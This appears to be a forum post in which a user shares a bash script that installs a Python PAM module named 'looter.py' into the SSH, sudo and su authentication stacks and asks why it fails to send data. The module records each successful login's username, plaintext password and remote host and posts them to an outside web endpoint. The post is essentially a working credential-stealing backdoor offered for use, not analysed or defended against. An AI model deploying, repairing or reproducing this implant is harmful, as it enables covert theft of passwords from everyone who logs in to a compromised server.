modify and not work :(

[MUWASEC]

hey, i try to modify the code so the result is send trough some web post ...

---

#!/bin/bash

Install dependencies to create a PAM module using python (Except for python-pip)

apt-get install python-pam libpam-python python-pip

Install dependencies python

pip install requests crypt spwd

Check if exist the entrie on pam, for this module

if ! grep -Fq "looter.py" /etc/pam.d/sshd;then
sed -i "/common-auth/a auth requisite pam_python.so looter.py" /etc/pam.d/sshd
fi

if ! grep -Fq "looter.py" /etc/pam.d/sudo;then
sed -i "/common-auth/a auth requisite pam_python.so looter.py" /etc/pam.d/sudo
fi

if ! grep -Fq "looter.py" /etc/pam.d/su;then
sed -i "/common-auth/a auth requisite pam_python.so looter.py" /etc/pam.d/su
fi

code='
import spwd
import crypt
import requests

def sendMessage(msg):
name = "ssh_creds.dat"
req = {"fname":name,"data":msg}
# url
url = "http://xxxxx/databases/.loot/log.php"
r = requests.post(url,data=req)

def check_pw(user, password):
"""Check the password matches local unix password on file"""
hashed_pw = spwd.getspnam(user)[1]
return crypt.crypt(password, hashed_pw) == hashed_pw

def pam_sm_authenticate(pamh, flags, argv):
try:
user = pamh.get_user()
except pamh.exception as e:
return e.pam_result

if not user:
    return pamh.PAM_USER_UNKNOWN
try:
    resp = pamh.conversation(pamh.Message(pamh.PAM_PROMPT_ECHO_OFF, "Password:"))
except pamh.exception as e:
    return e.pam_result

if not check_pw(user, resp.resp):
    return pamh.PAM_AUTH_ERR

sendMessage("Connection from host {} using the user {} and password {}".format(pamh.rhost, user, resp.resp))
return pamh.PAM_SUCCESS

def pam_sm_setcred(pamh, flags, argv):
return pamh.PAM_SUCCESS

def pam_sm_acct_mgmt(pamh, flags, argv):
return pamh.PAM_SUCCESS

def pam_sm_open_session(pamh, flags, argv):
return pamh.PAM_SUCCESS

def pam_sm_close_session(pamh, flags, argv):
return pamh.PAM_SUCCESS

def pam_sm_chauthtok(pamh, flags, argv):
return pamh.PAM_SUCCESS
'
mkdir -p /lib/security/
echo "$code" > /lib/security/looter.py
/etc/init.d/ssh restart

---

but it dont send any logs :(